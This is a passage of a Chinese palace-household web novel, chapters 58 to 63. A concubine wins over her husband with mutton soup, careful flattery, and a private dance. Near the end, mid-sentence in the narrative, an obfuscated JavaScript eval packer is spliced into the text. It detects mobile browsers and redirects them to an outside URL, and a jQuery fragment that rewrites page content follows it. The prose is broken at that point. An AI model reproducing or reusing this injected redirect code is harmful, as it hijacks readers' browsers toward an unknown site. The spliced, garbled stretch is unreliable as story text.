冬暖的眼神儿特别灵动,忽高忽低、挤眉弄眼儿之间,已经让她多年相处的柏芷兮回忆起了许多。 一听到“反例”,婵儿整个人都激动起来:“奴婢就知道那不是个好的,外面说她只是舞姬,不……那样服侍男人,可谁信啊。” “不过,你进门之后,这府里就有人私下里说,说四爷说不定哪天就把飘红带回府里了。” 婵儿到底是个姑娘,年纪又小,婆子和小厮们背地里说话荤素不忌,她少不得能听到一些,可让她照原样说,她却说不出口。 不过这些话已经够了,这不就是说姜奕辰在外应酬的时候可能跟这位飘红姑娘有了首尾,就算没有,也有了情愫。 从前没把飘红纳进府里是碍于对方出身卑贱,这回柏芷兮进府了,虽说揽月苑跟品香楼不是一样的地方,可到底是开了口子了。 这飘红姑娘进府怕是指日可待了,等进了门,即便出身不行、名声不好,当不上妾室,当个通房总是可以的。 第58章 羊汤暖人心 一旦飘红进了府,柏芷兮即便与她完全不一样,在众人眼里,她也会成为跟飘红一样的女人。 而外面还有那么多跟飘红一样的女人,一旦开了口子,外面就会有无数这样的女人有可能跟她成为姐妹,这无疑是一件风险很高的事。 揽月苑到底跟那些地方是不一样的,真要论起媚宠、引诱,柏芷兮这样的可不如她们艳丽、妖娆。 不过……凭白担心这个还为时尚早,姜奕辰才刚当上市令,正是爱惜羽翼的时候,是不会纳这种女人进门的。 事实上柏芷兮心里清楚,要不是她做了柏家的养女,而柏家对定安侯府的庶务出力甚多,对姜奕辰的前程也帮助甚大,柏兰姵却至今连个女儿都没有。 姜奕辰估计想想也过意不去,徐氏也不能亏了这个儿媳妇,这才点头让她进门的,而那个叫什么飘红的,可就没这么好的运气了。 柏芷兮不好把这些对姜奕辰和定安侯府评头论足的话说出口,也不好打击婵儿对她好不容易生出的心软和体谅,她反而柔声问道: “看来这位飘红姑娘名气很大,你们在府里都听到了,你可知道她擅长哪种舞?” “自然是胡旋舞,看来你也是不知道这种事的……也对,能把菜做得这么好的人,肯定跟那种人不一样。” 婵儿自说自话地道,表情也放松下来,“芷小娘,之前奴婢说话冲,不是冲着你去的。这后宅好些人都在打我们大厨房的主意。” “那些人连白米都不会煮,偏要自己做菜讨好她们的郎君,结果还不是要奴婢们做,她们只最后拿着铲子扒拉两下,就算是她们做的了。” “谁知道小娘是真有手艺的,还愿意教奴婢们,夏姑姑愿意给你一间房,奴婢们都没话说。” 别看婵儿年纪小,也知道不好把话说得太明白,她说话时眼神一个劲儿地往东边瞟,充满了暗示。 姜奕辰不好口腹之欲,这跑过来做菜邀宠的自然不可能是姚初蕊和陶丝绣了,这只能是正院儿世子姜奕德的那些个妾室了。 那边的妾室和通房众多,人一多,争宠的时候手段自然花样百出,想是之前没少烦着大厨房的这些人。 柏芷兮也不说那些世子院儿里小妇们的不是,只无声地笑了下:“说什么教不教的,那叫探讨。我给了你们一道食方,教了一道菜的手艺,可是夏姑姑和你们也教了我很多啊。” “奴婢们……能教小娘什么?”婵儿不解地道。 柏芷兮拍了拍她的手背:“你们刀工好,焯水、焖煮、翻炒还有对火候的把握都很熟练。我就不一样了,我在外面的时候哪儿有人能让我见天的沾油烟气?” “一年总共也没几次,我哪有你们那么好的功夫,平时也就是想想那些个菜是怎么做的罢了,这些功夫还得靠你们。” “要不然你以为我为什么一定要请夏姑姑替我做那碗鱼皮饺?我可不像你们想得那么不贪功,我是担心侯夫人见了我的手艺就没胃口了。” 话一说完,柏芷兮就笑出声来,婵儿想到原来她们也是有长处的,而且没有她们,那鱼皮饺做得不会如此好,当即心里更高兴了。 不过,婵儿丝毫不会因为自己有比柏芷兮厉害的地方,就减少了对柏芷兮的改观。 姜奕德的那些个妾室在厨艺上没一样比她们强的,都没肯定过她们的好,就是侯夫人和几个夫人要说好也是说夏姑姑他们的好,哪儿能说到她们这些打杂的侍女头上。 婵儿心里熨帖了,对着柏芷兮的态度更加好了,三人一起进了厨房,婵儿还另外叫了两个打杂的小丫鬟帮着收拾那些杂碎,一时间好不热闹。 她们几个这边收拾着,那边柏芷兮和冬暖熬了两大锅奶白奶白的胡椒汤出来,还熬了一锅的卤料。 婵儿带着那两个小丫鬟将清洗好、切好的羊杂用大木盆抬了过去,就要找她们惯用的去腥的香料撒进去,旁边伸出一只纤纤玉手把她给拦住了。 柏芷兮指了下旁边的卤料锅,轻声道:“今日不用干料,用这个卤汤,也不用煮多久,半柱香的工夫就沥水捞出来,之后再用白汤煮。” “若是用了干料,先不说这么一会儿工夫难入味,就说那些个干料就算之后清理过,也会有一些带到白汤里,容易影响口感,吃的人急了,还容易呛到鼻子里。” “用这卤汤,只一会儿就捞出来,香料的味道入的不浓不淡,不会完全遮住食材的味道,之后再放入白汤之中,这味道便正好了。” 这些个肠肠肚肚的味道比较大,要用香料去遮盖和调整,可是一旦调整得太过了,再放入胡椒汤中熬煮,味道又多了一层,整体的味道就会变杂,喝起来像是在喝香料煮的水似的。 而若是之前用了干料,之后干料也进了汤里,喝一口汤、吃一口羊杂就送能混进去一些咋咋呼呼的东西,一来影响口感,让喝汤的过程不够流畅,影响了胡椒汤本来的特性。 胡椒汤本就有驱寒、祛湿的效果,在温热的时候尽可能快地一股脑喝进去最好,要是因为这些颗粒状的香料让对方还得刻意去吞咽或是挑出来的话,这汤就不能尽快地进到肚子里去了。 再者整体的颜色和感觉都会因为这些香料的渣子变得混杂,让这锅羊汤变得廉价起来,没看府里这些主子们喝的汤水都是清清亮亮的么? 要是这羊汤变成了彻底的下人饭了,除了香料放的足些,跟外面食摊上卖的羊汤没有大区别了,费这么多功夫的诚意可就要被带累得没有了。 婵儿连连点头,眼睛里闪着亮光,这方法用在别的菜上也可以,她之后可以好好琢磨琢磨。 当下婵儿自是更用心的,在晚饭前两大锅羊汤便好了,她让人给芷春居送了一大瓦罐儿过去,还跟夏姑姑说了,又给柏芷兮加了个大菜,还送了满满一食盒的点心。 姜奕辰散了衙回来,先到柏兰姵那儿坐了坐,之后鬼使神差地就到了芷春居门口的小路上。 第59章 他问道味儿来了 姜奕辰刚好看到大厨房的人离开,他还瞧见为首的那个侍女边离开还边一步三回头地跟屋檐下的人说了什么,对方显然说了什么好听的话,他就瞧见那个侍女笑得像朵花儿似的走了。 他走到芷春居门口的时候,就闻到了一股带着淡淡茴香味儿的羊汤味儿,那味道闻起来甚是好闻,跟一般的羊汤不同,那味道不浓、不腻,一点膻气都没有。 姜奕辰从前打理家中庶产,不光是在南安都附近,他是跟着商队到北边儿行过商、走过镖的,那边到了秋冬就冷得厉害,一碗羊汤下肚,身子骨就能暖一大半儿。 行商路上没的讲究,很多时候也计较不了什么身份、地位,甚至人多了,食摊、小店儿里连把坐的凳子都没有,他就跟大伙儿一起往门口避风的地方一蹲,仰着头就把汤灌下去。 汤里的肉和杂碎连嚼带囫囵个儿的吞下去,很多时候都来不及细嚼,汤里的那些个香料远不如府里的这些香味醇厚,甚至是未经研磨就撒进汤里的,一口喝下去,呛得鼻腔里都是。 呃……他不是有多喜欢喝羊汤,他是在那种寒冷的环境下,需要那碗热汤。身子暖了,他才能走更远的路,把生意做成,促成府里的进项。 不过……这芷春居门口弥漫的这股味道是挺不一样的,似乎更清澈、更清醇。 姜奕辰不想承认他是馋这个味儿了,他就是好奇,她这汤是是怎么熬的,他不重视这些吃食没什么,以后可以给商队的伙计和府里的护卫喝。 屋内正准备用饭的柏芷兮这才知道姜奕辰正往屋里来了,她闻了闻满屋的羊汤味儿,脸上的表情有些遗憾又有些不好。 她跟冬暖把羊杂下到锅里之后就回来了,后面的功夫都是婵儿她们代劳的,这汤熬了许久,味道简直好极了。 以前方家食肆冬日里的时候也熬过羊汤,只是外面用的香料跟侯府比,再好也还是差远了,功夫再好,也没有这汤的味道好。 可要说这汤么,味道虽不如北面的纯正、粗犷、热烈,可胜在精细、精良,更适合这些平时好吃好喝的人。 从婵儿刚才的反馈来看,这汤很受欢迎,要不是里面放的是杂碎,要是换成羊肉的话,那些个主子恐怕也能喝一碗,那么姜奕辰呢,他可会喜欢? 这个念头只在心里一闪而逝,这汤过手的人实在太多了,而且让姜奕辰这样不重口腹之欲的人去吃这些肠肠肚肚的,也定是不行的。 就是他能下得去嘴,她也不能给他吃,他们还没熟到这个份儿上,能一起吃羊杂汤。 柏芷兮几乎立刻就放下了汤碗和勺子,招呼冬暖和秋寒:“快,赶紧收下去,把窗子、门都打开,熏香呢?赶紧点上,把这屋子里里外外都熏一熏,我到外面迎他去。” 她赶紧到门口拖住他,给屋里的人争取时间,等他们走一走,再回来,味儿也该散得差不多了。 冬暖嘴上都是羊汤的白汁,都来不及擦,她不甘心地道:“小娘,这汤可太好喝了,要不给爷也尝一碗吧。爷不吃杂碎,咱们就单把汤撇出来。” “说什么呢,听小娘的,爷怎么能爱吃这种东西。要是给爷吃,下回用上好的羊肉和骨头熬了。” 秋寒动作麻利,站起来就擦了嘴,三下五除二地把羊汤的罐子和那些盘子碗的都放在了托盘里。 眼看着姜奕辰离这边近了,都隐约听到康安在后面说话的声音了,秋寒眼明手快地走到屏风后面,拉开那里的后窗户,先放下托盘,自己先翻窗而过,然后再拿走托盘,“啪”地一声把窗户关上了。 整个过程行云流水,柏芷兮看到吓了一跳,不过她很快恢复了状态,将身上的衣裳整了整,继续吩咐冬暖: “好好跟你秋寒姐姐学学,一会儿熏好屋子,把夫人给我的舞衣准备好,要淡绯红配鎏金丝线的那身,快点。之后还能不能吃上肉,就看今天了!” 柏芷兮抬步就往外面去了,冬暖动作也快了起来,这可真得快点儿。 在这府里头,下人们穿什么、吃什么都是定好了的,要想添些更好的,就得往里搭自己得到的赏钱。 秋寒还好些,有柏兰姵那边赏着,冬暖却只能靠柏芷兮,柏芷兮自己还不怎么富裕呢,她哪儿来的赏钱。 冬暖差点儿就学跑堂的伙计吆喝一声“好嘞”,只要今晚柏芷兮让姜奕辰高兴了,她们之后还有肉吃。 柏芷兮出去的时候,姜奕辰就差两步就踏上她这主屋前的台阶了,他一抬头就看见柏芷兮闷着头小碎步地走过来,就那样一头轻轻地撞在了他怀里。 柏芷兮抬头,像是刚才没看到他似的:“爷来了?妾还以为爷今晚要宿在夫人或是姚姐姐那儿,也没个准备。爷,妾先带您转转这芷春居吧,今早您走得急,也没来得及看看。” 芷春居在柏芷兮进门之前就收拾过一回,那十日里姜奕辰没过来的时候,柏芷兮又带着冬暖、秋寒种了些花花草草,改了几处陈设。 不过这院子不大,其实稍微走几步、周围看几眼也就看到头了,真没什么好看的。 可是柏芷兮如此的温言软语,像是早上分开时的那一点不快已经烟消云散了似的。 心头就像被一根羽毛挠了一下似的,姜奕辰本来想要拒绝,被这么一“挠”,鬼使神差地就答应了跟她一块儿转转这不大的小院儿。 姜奕辰发现,柏芷兮是一个特别能自得其乐的人,一棵树上的叶子茂密了些,她都能从这里是不是雨水、光照更好一点中找到乐趣。 石榴树下的土是松过的,她说是为了让树明年长得更好,石榴结得更大,才跟冬暖一起松得土。 姜奕辰微微蹙眉,有些疑惑地问道:“你还会种树?” 柏芷兮愣了一下,担心他看出来底下埋了东西,才摇了摇头道:“不会,可道理不就是这样?” “那是什么?水仙?水仙是长在土里的吗?” 姜奕辰指着墙边放着的一溜花盆儿,里面种着像草又不像草的东西,还发黄。 第60章 男人炫耀的本能 柏芷兮看了一眼,多少有些尴尬:“那是……蒜苗,是用大蒜生出来的,有的时候配个菜……” “你竟然在院子里种菜?你这儿还有片竹子,还能出笋,还算种点什么?”姜奕辰脸色沉了些。 柏芷兮见他不高兴,没敢说自己还想种些茄子,可要是说不想种什么,又未免太假,便退了一步: “想种两颗果子树,不拘是杏子、频婆果或是山楂都可以,看着好看,还能摘来吃。不说别的,要是种了,光是妾院子里的这两个丫头,想吃个零嘴儿,都不用另外给她们张罗了。” 那颗石榴树原就是在院子里的,整个侯府的妻妾院子里多有这东西,这求的是一个多子多孙多福气的好意头。 可这石榴多是用来摆着看的,可不能一熟了就全摘下来吃了,而且石榴籽儿太多,最多就是用帕子包了拧出汁子来喝,别的做不了。 柏芷兮嫌麻烦,也不好那口,还是有些别的树比较好……他会答应吗? 这要是不应,头一次否了小厨房,第二次否了她出去的请求,这第三次连两棵果树都否了,她真该找个地缝钻进去了。 姜奕辰脸色好看了些,但正以为他要松口的时候,他却道: “一看你就是个半懂不懂的半桶水,院子里种这么多果树,甜腥气上来,招了虫子,你再让人来用了药杀,味道有多大?你这院子还住不住了?” “不过就会做几顿饭,不要想着自己什么都会。这一次让你种了果子了,下一回你是不是还想种菜、种稻米,每日里插秧下田?” 柏芷兮低头,一副垂头丧气的样子站在旁边听训,她当然知道这些了,可就两棵树,种在背风的地方,让人用了药去,又能有多大的味道。 虽说这么听起来姜奕辰在这方面应该是懂一些的,往年去收田庄上的租子应该接触过不少,可是她不说,也不能说她不懂啊。 他懂,他就要滔滔不绝地说,可算逮着机会了,还不是胎投得好。要是他像她一样,投了小姐身子丫鬟命的,当个小厮、面首、戏子什么的,看他还怎么说。 别管柏芷兮心里是怎么想的,她面上的表情却相当丰富,先是惊讶、后怕,再是委屈、惭愧,最后目光中充满尊崇地望着姜奕辰: “妾没想到爷还懂农事,还懂得这么多,妾不信爷这样的出身也会下地种田,定是爷天生聪慧、触类旁通,又走南闯北地见识了许多,这才比别人都厉害的。” “妾就不行了,小时候最远不过去过家中食肆,大了些又只在揽月苑那么大点儿的小楼里,每年能出去逛逛的时候,不过两三次,什么见识都没有。” “听人唠叨几句,说种果子好,我就觉得好了,没想到还有虫害和别的问题。” 姜奕辰听了心里舒服了许多,她这软服的让人舒服,那眸子水汪汪的,但真是一个无知又软嫩的小女子。 他的声音不觉软了些,一开口便说起了从前的经历:“这可不是聪慧和听人说说就可以的,我那时年少,志向又不在科考上,书读不进去多少,索性就去行万里路。” “跟着商队走到贩货的地方,为了拿到价儿更低的东西,就得往那些山沟里去,中间不经别人的手,直接就向那些农人买。” “很多时候要变天了,庄稼、果子、茶叶、香料来不及收,或是不够人手装车,在场的有一个算一个,不管是谁,都得去搭把手。” “我可是帮着干过活儿的,不止在边上看。远的地方是不行了,咱们府上在城外就有田庄,都到秋天的时候带你去看看。” 能被姜奕辰亲自带出去玩儿、长见识,这是姚初蕊和陶丝绣都未曾拥有过的荣幸。 其实刚才在他说的时候,柏芷兮就回忆了一个细节,就是姜奕辰的手,他的手掌温润而宽厚,除了马缰留下的一点薄茧,并无其他。 哼,男人的嘴,骗人的鬼,说是帮着干活了,干了大概也是真干了,可是究竟干了多少呢? 恐怕上去搭把手,就像婵儿说的被人把菜做好了,他们拿铲子进去搅几下,就算是他们做了,异曲同工吧。 像姜奕辰这样打理府中庶务的公子,并不是真就要去出去做商贾的,她都打听过了,哪次出去都是前呼后拥的。 他说的人手不够,只是他觉得的,他相对于那些贫苦人家的,就是个没吃过苦的少爷,在他的认知里,那些人一个人的活儿他恨不得让三个人去干,他看着那些人忙,就觉得是人手不够了。 其实底下人干活儿哪有不忙的,就像当年的方家食肆,哪个人不忙,反倒是这侯府里的大厨房,这些人干活再忙也跟外面的夫人、姑娘似的。 他看着人家忙,自己上去帮忙,可那些人哪里是需要他帮的?就是需要,也不敢让主家的公子动手啊,多半是他上去帮几下手,就被人劝着替下来了。 柏芷兮却不点破,小手抓起他的右手,翻过来心疼地端详着他手掌上马缰磨出来的薄茧,还吐气如兰地吹了吹: “这就是干活的时候磨出来的吧?爷太辛苦了,您如今做了市令,怕是也有这样需要搭把手的时候,您可千万小心,别弄伤了自己。” “像那些装货、卸货的时候,货物在马车上垒得高了,万一倒了,可吓人了。这种时候,爷可千万躲着点儿。” 柏芷兮的话听起来真心实意得很,她的声音又特别容易让人听进去,姜奕辰只觉得心头被什么挠了似的,心头那点儿不悦几乎消失不见了。 他虽不打算答应她种什么果树,说出的话却已经不像训斥了:“别以为我不知道你为什么想要种那些果树,你是想做果酱对不对?” “庖厨之事留在大厨房那边就好了,不要带回院子里,弄得到处都是,还招虫子。你要是想吃果酱,回头爷让人给你拿几罐子来,保准比你这儿腌的好吃。” “我不是说你手艺不好,要做果子酱,果子得先好,你这院子小,水土不行,能出什么好果子?” 第61章 还是不够识货 姜奕辰笑着道:“庄子上的果树更好,出的酱自然更香甜,况且但凡做酱都有味道。你这院子里的味道杂了,爷还怎么来。” 味道杂了?几罐子果酱能有多大的味儿?她腌了辣酱和豆酱埋在石榴树下,他还不是没发现。 不过他说的也对,这么大点儿的地方,就算移栽了果树过来,也得等树适应了水土才能结出大小合适的果子,这中间可能得两三年的时间。况且就算结出来了,也的确没有外面水土好的果树结出的果子好。 算了,就当他说的都对,大不了之后她找大厨房那边买些果子回来自己做。 她这小院儿里为了“备荒”,她准备了干饼、酱料、腌笋,这里面干粮和盐都有了,再做些果子酱,算是储备了糖了,之后再备上一两种腌菜,定期更换。她就是被关在这小院儿里,也不愁了。 这当中只有一个变数就是秋寒不能告密,不过现在看来,秋寒已经从嘀嘀咕咕、含沙射影、指桑骂槐地说她穷惯了,到现在已经假装没看见和帮她跟冬暖望风了。 柏芷兮认真地点头:“爷说的是,味道要是大了,别说您了,妾也受不了。” 原以为这就完了,谁知姜奕辰竟然破天荒地开了口子,语气还异常的好:“不过这地方空着是有些可惜,不种果子树,种些别的花啊、草啊的倒是不错。” “说吧,想种什么?不仅是禹朝的,外面来的庄子上也有,给你移了来就是了。” 这些个高门府邸,每逢夏、秋之际都会办赏花宴,有时还会把一些名种送给跟他们有交情的各家府邸甚至送到宫里去。 要是到了日子才从外面采办,容易来不及,而且花费也大,于是好些家都在置产时购置了花山。这些个酱料、果露都用自家种的花来做。 这些花山、花田里也都有些观赏用的名种,种在这院子里,很是好看。 柏芷兮有些意外,她在脑子里快速地盘算着要什么,然后脱口而出:“玫瑰,小玫瑰,就是小朵的叫什么茶花小玫瑰的那种。” “朵儿小,花瓣层次多还轻,风一吹花瓣翻飞,很好看……妾从前见过,有人采了一捧送过去,妾只得了一支,到现在都遗憾得紧。” “要是您能让妾如愿就好了,那种花栽在这里也很好看,等到来年花开了的时候,妾还能请夫人也来看看、散散心。” 这种花其实不是玫瑰,是一种茶梅,只是状似玫瑰市面上才叫了这么个名字。 姜奕辰听了有些意外,这花儿娇艳、好闻,关键是还不像牡丹和月季之争那样有喧宾夺主的嫌疑,倒是很适合栽在这芷春居里。 这花儿娇艳,就像柏芷兮说的那样花瓣如轻纱,也跟她这个人有相像的地方。 姜奕辰这回点了头,再没有一点反对:“好,就种这种花,明日我就让康安去办,很快就会种好。要是运气好,晚秋和初冬的时候还能在你这院子里开一季。” “妾谢谢侯爷,等到花开了,您也要来看啊。”柏芷兮感激地笑着,心里长舒了口气。 要是花匠护根做得好,这种花移栽之后当年就能开花,这还真需要姜奕辰开口呢。 关键是,这第三个要求,姜奕辰总算没有拒绝,她这儿得了一小片花树,这是个显眼的物件儿,进进出出的人都能看见,她总算是站住脚了。 不过……姜奕辰还说自己很懂呢,他不让她做酱,殊不知这种花也能做酱,还是甜香的玫瑰酱,甚至还能做出带着玫瑰香的山茶油出来。 不仅能留着自己做菜用,甚至还能拿出去卖,这可比几棵果树有用多了……他还是不够识货啊。 姜奕辰见她笑得像是得了什么宝贝似的,终于话锋一转问到羊汤上:“我进来的时候闻到了羊汤味儿,大厨房什么时候也做这种东西了?” 柏芷兮微微一笑,防着他找人打问去,她自是不好都说假话的,只是道: “爷这可问对人了,今日妾去大厨房正巧碰见他们做了两道大菜,他们就见我去了,就让我自己选是要猪肚鸡还是爆炒羊肉,妾担心味道大,自然是要选猪肚鸡的。” “他们便说那些肠肠肚肚的味道更大,不好处理,要送到城外的猎苑去呢。妾就想着手上还有一道做羊汤的方子,很是省事儿,自是惠而不费的,就拿出来请里面的婵儿姑娘帮忙做了。” “这些个粗浅的吃食,吃了弄得一身味道,爷这样的贵人自是看不上的,可那些下人不一样。他们晚上值夜,下了值不是半夜就是清早了,喝上一碗很是暖身呢。” “爷这么问,是被这味道熏到了?您放心,刚才大厨房给秋寒和冬暖送了两碗来,她们喝完已经去送还碗筷了,屋里也重新熏过了,留不下味儿。” 这东西味道大,喝上一碗身上都是羊肉味儿,不熏香的话,可能大半日才能散。 姜奕辰想说自己也想试试,可是他刚刚才说自己不喜味道大的食物,这时候改口就有些说不出口了,他只是试探地道: “就送了两碗来?大厨房何时变得这么小气了?看来是该敲打敲打了,你使着银子,赔着小心,方子还是你给的,他们才送来两碗。” “两碗已经不少了……爷,秋寒和冬暖都是姑娘家,又提前用了饭,能喝完已经不错了。就像爷说的,这是底下人吃喝的东西,妾喝了这味道多少有些不雅,他们自然不会送那么多来。” 柏芷兮不解地看着他,“要是让妾说,大厨房这般行事,反而妥帖的很。要是送多了来,不仅她们两个喝不完,剩下的就浪费了。” “您今日来得早,要是剩得多了,放在那儿,岂不是得熏着您了?您要是想喝,等天在凉一些,让大厨房给您用上好的羊肉熬,这才配得上您的脾胃和身份。” 姜奕辰看着她听了他的劝之后真心实意为他着想的样子,不禁心堵,这还真怪不着她,所有的话都是他说的,他这样算不算搬起石头砸了自己的脚? 第62章 哄住了 姜奕辰不死心地问道:“这羊汤我不能喝?” 柏芷兮认真地缓缓点头:“爷,这就是羊杂汤,底下人喝的,他们也就是常个新鲜,再就是半夜巡夜回来喝上一碗暖暖身子,别的人都是不喝的。” “妾知道爷是个雅人,不喜欢这些,这不,就是妾都一口没喝呢?您要是不信,就闻闻。” 根本不用刻意去闻,就知道柏芷兮没喝,不是她不想喝,是刚才秋寒拦住了,就是担心姜奕辰一会儿会来,说是剩下的拿茶炉子帮她温着,要是姜奕辰不来,晚上再给她喝。 没想到还这妞歪打正着了,姜奕辰还真来了,好在没喝,要不然嘴里一股子羊杂和香料的味道,还怎么服侍他。 姜奕辰被捧得高高的,又是他自己说的不会追着这些新的、奇的吃,还是他自己不给柏芷兮小厨房的。 现在他就是想吃点儿什么适合他吃的,想让柏芷兮亲手去做,也得跑去大厨房那边,一来一回的,早过了饭点儿了。 姜奕辰自觉无趣,又不好毁了之前的话,只能含糊地道:“你这手艺都去服侍别人了,也不是服侍你自己的爷,倒是可惜了。” “要是有下回,你再下了厨,爷也可以勉为其难地尝尝……不是为爷自己,我是担心哪天母亲又想起你这手艺了,会吃得不如意。” 这是想试试了?柏芷兮这回再听不出来就真是个笨的了,可是从准备食材到做好了呈到他面前的整个过程,她还不能保证万无一失。 她给自己做,给这些个下人做倒是暂时没事,现在类似姚初蕊这样的人为了对付一个她,还不至于拉这么多人下水。 可要是她真给姜奕辰做了什么,那可就不一定了。 在姜奕辰的饭食上做点儿什么,后果虽然严重,但是对她来说绝对称得上是致命一击,这样对于想让她在一开始就折戟沉沙的人来说,绝对值得。 不是她疑心病重,主要还是姚初蕊那边**静了,姚初蕊不仅没来找她麻烦,还就之前她送了那些木偶图纸给姜士明表达了感谢,送了几匹料子给她。 这份礼表面上看诚意十足,实际上却是心机满满,那些料子都是她这个身份不能轻易穿的,就是想要卖了换钱也不成。 禹朝对什么人能住什么规模的宅子、能穿哪种布料裁制的衣裳都有要求,这侯府里能用的上等料子,外面大部分人是不能穿戴的。 她又不能把这些料子卖到给他们差不多的人家去,这些料子就只能干看着压箱底,还不如送些普通的丝绸锦缎呢,好歹还能做几身衣裳穿。 这么送人礼,纯粹就是恶心人来了,让她看得见、穿不上、卖不掉,不就是在告诉她,她的身份不配享受这些么? 柏芷兮预感着姚初蕊最近一定会找她折腾一场,就算要给姜奕辰做吃食邀宠,也得等这一次过了之后。 有了一次折腾,大家都看在眼里了,姚初蕊再想做什么就没那么容易了,到时候不是她做的,大家也会看着像她做的。 况且姜奕辰之前反复强调自己对这些吃的、喝的不感兴趣,他现在一后悔,她就上杆子地贴上去给他做,那她可太不值了。 对姜奕辰这种男人来说,得不到的才是最好的,就算得不到会让他有些气恼,可这种小气恼反而更让他觉得有趣,就像有跟羽毛挠着他的心尖一样,让他时不时地就能想起来。 当然,也不能让他一直得不到,那样他就真恼了,反而觉得她不敬他。她得把握好了,要若即若离、收放自如才好。 柏芷兮略微一想就觉得眼前不是“放”的好时机,她微微一笑,笑里媚中带甜地道: “爷这是在说妾没把心思放在爷身上,可是之前十几日都见不到您,妾担心您是嫌弃妾浅薄还出身低微才不来妾这儿的。一时伤心、无聊,只能找些事儿做。” “自己又嘴馋,这才混到大厨房去了。可妾要用那儿的屋子,总不好什么都不给吧? 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给人留下朝令夕改的印象绝不是什么好事,虽然大厨房不是府里最重要的地方,可这话传要是传到姜定武耳朵里,难免会说他不懂事,连带着连自己的妾室也被他带偏了,就会添乱。 这可就又显出他的好兄长姜奕德的好来了,自从陶丝绣担起了府里的绣坊,姜奕德便想让他屋里的一个妾室把大厨房的采买担下来,还说是就算他要私下往里搭些银子也不是不可以的。 要是这么一比,那边上杆子的还要从私库搭银子呢,他这边连让一个妾室过去多教厨子几道菜都不行,就显得他太小气了。 想想柏芷兮竟然无意中还给他长了脸了,姜奕辰的目光又柔和了一些,于是也开起了玩笑, “那边先去着,等过些日子再推了。可你毕竟是爷的妾室,去那边也不是让你当差上工的,你对那边尽心尽力,对你们爷就不愿意多花点心思了?” 第63章 她很会做妾 心思?柏芷兮莞尔一笑,想着屋里熏得应该差不多了,便若即若离、三步一回头地引着姜奕辰往屋里走: “妾这厨艺多是纸上谈兵,看的食方多,动手的机会却不多,爷要是想吃那鱼皮饺子,只管请夏姑姑给您做去,保管比妾亲手做的要好。” “要说这技艺,妾会的可不止这庖厨的功夫,一会儿妾就给您看看妾还会什么,看看有没有合您心意的……您在这花厅等一下,妾去去就来。” 芷春居这正屋是三间房,一进门的地方当正厅使,两边都有门,像二房似的各有一间屋子。 这正厅不大,一个妾室也用不着会客,这里平日能用饭,有个能坐着说说话、喝喝茶的地方就行了。 旁边的两间屋子,关了门之后,一间是卧房,另一间便算是女子的“书房”也就是绣房、乐器房了。 而这正屋外面接着一个游廊,里面有一块四方的空地,没有打门,只挂了帘子,这里便是花厅。 把姜奕辰领到花厅处,柏芷兮便双手托着他的手,自己**几步先跨过了正厅的门槛儿,然后轻轻地将他推开了些,又忽然快速地将正厅的门关上了。 “爷且等一会儿,妾去换身衣裳。” 姜奕辰被关在门外,整个人都愣住了,这时候外面还暖和着,在这花厅里站站也无妨,可他这还是头一次被女人关在门外。 在短暂的着恼之后,他只觉得有一股火从心底里烧了起来,这股火不是怒火,而是他从来没有感受过的躁动。 姜奕辰到底是个聪明人,他想着他不是没有过其他女人的,柏兰姵和姚初蕊都是美人儿,外面应酬时见识过的那些也都美得各有千秋,他怎么就偏偏会对一个柏芷兮有这样的感觉? 他一细想,就明白了过来了,这都是因为柏芷兮太会做妾了,而且她才是他真正意义上的第一个妾室! 柏兰姵是妻,陶丝绣名义上是通房,实际上已经和府里的管事儿没有多大区别,而姚初蕊名分上虽是贵妾,可姚家是把她按照正妻的标准教养长大的,她在骨子里也恨不得自己就是正妻。 这么算起来,从小被当做妾室养大,还一直把自己当做妾室的柏芷兮,才是他真真正正拥有的第一个妾室! 有了这样的认知,姜奕辰心里更软了,他这个教教软软的小妾室竟然激起了他另一种不曾有过的柔情小意,他竟然开始惦记她带给他的这种推拉牵绊,既娇柔又有些小做作的感觉了。 说柏芷兮做作,其实她做作得很自然,可到底是流露出了一些痕迹的。 可这反而让姜奕辰觉得她做作得更自然了,他们从前素不相识,他可不指望柏芷兮一进门就爱他爱得要死要活、欲罢不能。 相反的,她表现出的这几丝刻意,反而说明了她明明对他没感情,还在因为自己的身份和对他的一些好感、尊重而在努力地靠近他。 她使的这些手段是她在后宅谋生用的手段,但她这么做又何尝不是想让他高兴呢? 门内传来一阵窸窸窣窣的响动之后就没了动静,姜奕辰第一次轻柔、小心地唤她的名字:“芷兮,可好了?要不要我进去?” 里面依旧没有回应,连响动都彻底没有了,透过眼前的门,他侧耳倾听着,这门上的镂空处糊着窗纸,若是她走过来了,只要仔细听,应该能听到她的脚步声。 姜奕辰却什么都没听到,过了一会儿就有些急了,正当他抬手想要推门而入的时候,门被从里面嚯地一下拉开了。 姜奕辰还没反应过来就被一只柔荑拉了进去,随即身后的门又被关上了,柏芷兮一袭浅绯红的舞衣立在他面前,只一个笑便宛如一朵美不胜收的荷花绽放。 因着只有他们二人,没有人奏舞乐,柏芷兮便自己清唱着舞了起来。 这件舞衣原本的领子开得很低,将身上也包裹得颇为紧致玲珑,柏芷兮觉得这般穿太过刻意,可是重新做又有些来不及,便求教陶丝绣那边的丫鬟,给这舞衣外面做了一层轻纱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15474408|168155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 罩衣。 这一舞,随着她舞姿轻动,那纱衣便如风中的荷花花瓣一样一层层地翻起了浪,偏生她的舞姿时而柔美,时而随着脚步转急而如胡璇般让人目不暇接,并不会让人觉得她在刻意媚好。 柏芷兮舞了一曲下来便出了一身薄汗,正在她累了,犯愁还要不要继续舞下去的时候,脚下一空,身子一轻便被姜奕辰打横抱了起来。 柏芷兮满面飞红,额头挂着几颗细小的汗珠就那样看着姜奕辰:“爷,妾跳得可好?” 姜奕辰只是笑她:“有美人如是,这芷春居当是风光无限了……你可是热了?这就随爷进去清爽清爽。” 